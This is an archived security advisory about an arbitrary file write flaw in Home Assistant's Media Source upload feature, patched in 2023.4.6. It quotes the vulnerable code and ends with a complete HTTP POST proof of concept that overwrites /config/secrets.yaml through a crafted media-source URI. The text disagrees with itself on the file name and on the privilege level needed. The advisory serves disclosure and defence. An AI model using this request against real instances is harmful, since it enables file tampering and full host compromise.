

elttam/publications: writeups/home-assistant/media-source-arbitrary-file-write-advisory.md

elttam/publications: writeups/home-assistant/media-source-arbitrary-file-write-advisory.md - elttam, GitHub.

- Published: date not stated
- Original: <<https://github.com/elttam/publications/blob/master/writeups/home-assistant/media-source-arbitrary-file-write-advisory.md>>
- Preserved from: <https://github.com/elttam/publications/blob/master/writeups/home-assistant/media-source-arbitrary-file-write-advisory.md> (github-api) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy. Created from [media-source-arbitrary-file-write-advisory.md](#).

media-source-arbitrary-file-write-advisory.md

elttam/publications at master · path writeups/home-assistant/media-source-arbitrary-file-write-advisory.md.

Introduction

This write-up describes a vulnerability found in [Home Assistant](#), a popular open source home automation software. The vulnerability was found to affect versions before 2023.4.6 where a patch is introduced.

Overview

In the [Media Source integration](#), files can be uploaded and local/external media sources can be defined. A vulnerability was found in the upload functionality allowing an authenticated attacker to write arbitrary content to any location on the system.

Timeline

- **20/04/2023** - We discover the vulnerability
- **21/04/2023** - Vulnerability report sent to Home Assistant developers
- **21/04/2023** - Home Assistant replies later that night, noting that a [patch](#) was made
- **22/04/2023** - Home Assistant 2023.4.6 is released, containing the patch which fixes the issue
- **10/05/2023** - Public release of this advisory

Description

Handling of media_source uploads is found in [local_source.py](#), where initially the user controlled `media_content_id` is parsed and converted into `location` and `source_dir_id`:

```

async def post(self, request: web.Request) -> web.Response:
    """Handle upload."""
    if not request["hass_user"].is_admin:
        raise Unauthorized()

    # Increase max payload
    request._client_max_size = MAX_UPLOAD_SIZE # pylint: disable=protected-access

    try:
        data = self.schema(dict(await request.post()))
    except vol.Invalid as err:
        LOGGER.error("Received invalid upload data: %s", err)
        raise web.HTTPBadRequest() from err

    try:
        item = MediaSourceItem.from_uri(self.hass, data["media_content_id"], None)
    except ValueError as err:
        LOGGER.error("Received invalid upload data: %s", err)
        raise web.HTTPBadRequest() from err

    try:
        source_dir_id, location = self.source.async_parse_identifier(item)
    except Unresolvable as err:
        LOGGER.error("Invalid local source ID")
        raise web.HTTPBadRequest() from err

    uploaded_file: FileField = data["file"]

    if not uploaded_file.content_type.startswith(("image/", "video/", "audio/")):
        LOGGER.error("Content type not allowed")
        raise vol.Invalid("Only images and video are allowed")

    try:
        raise_if_invalid_filename(uploaded_file.filename)
    except ValueError as err:
        LOGGER.error("Invalid filename")
        raise web.HTTPBadRequest() from err

    try:
        await self.hass.async_add_executor_job(
            self._move_file,
            self.source.async_full_path(source_dir_id, location),
            uploaded_file,
        )

```

```

except ValueError as err:
    LOGGER.error("Moving upload failed: %s", err)
    raise web.HTTPBadRequest() from err

return self.json(
    {"media_content_id": f"{data['media_content_id']}/{uploaded_file.filename}"}
)

```

`location` and `source_dir_id` is then sent to the `_move_file` function where the `path` value is directly referenced by the `open` function when writing to a file:

```

def _move_file(self, target_dir: Path, uploaded_file: FileField) -> None:
    """Move file to target."""
    if not target_dir.is_dir():
        raise ValueError("Target is not an existing directory")

    target_path = target_dir / uploaded_file.filename

    target_path.relative_to(target_dir)
    raise_if_invalid_path(str(target_path))

    with target_path.open("wb") as target_fp:
        shutil.copyfileobj(uploaded_file.file, target_fp)

```

Proof of Concept

The `async_parse_identifier` constraints can be satisfied by providing a crafted `media-source://` URI such as: `media-source://media_source/local///config/` for the `media_content_id` parameter. An example POST request that will write the value `some_password=meow` to the `/config/secrets.yml` file looks like this:

```
POST /api/media_source/local_source/upload HTTP/1.1
Host: 192.168.1.208:8123
Content-Length: 355
authorization: Bearer TOKENREMOVED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/110.0.5481.97 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfDwn53ZQ0PUigu73
Accept: */*
Origin: http://192.168.1.208:8123
Referer: http://192.168.1.208:8123/media-browser/browser/app%2Cmedia-
source%3A%2F%2Fmedia_source
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

-----WebKitFormBoundaryfDwn53ZQ0PUigu73
Content-Disposition: form-data; name="media_content_id"

media-source://media_source/local///config/
-----WebKitFormBoundaryfDwn53ZQ0PUigu73
Content-Disposition: form-data; name="file"; filename="secrets.yaml"
Content-Type: image/text/html

some_password=meow
-----WebKitFormBoundaryfDwn53ZQ0PUigu73--
```

Impact

An authenticated user (of any privilege) will be able to write to any file on disk as the instance is running as root. This includes all system files, along with configuration files related directly to HA such as the `secrets.yaml` or other configuration files. This could lead to compromise of the entire instance or hosting infrastructure.

Discovered

- April 2023, Victor Kahan, elttam

Archived from <https://github.com/elttam/publications/blob/master/writeups/home-assistant/media-source-arbitrary-file-write-advisory.md>. Rendered offline from the local Markdown copy.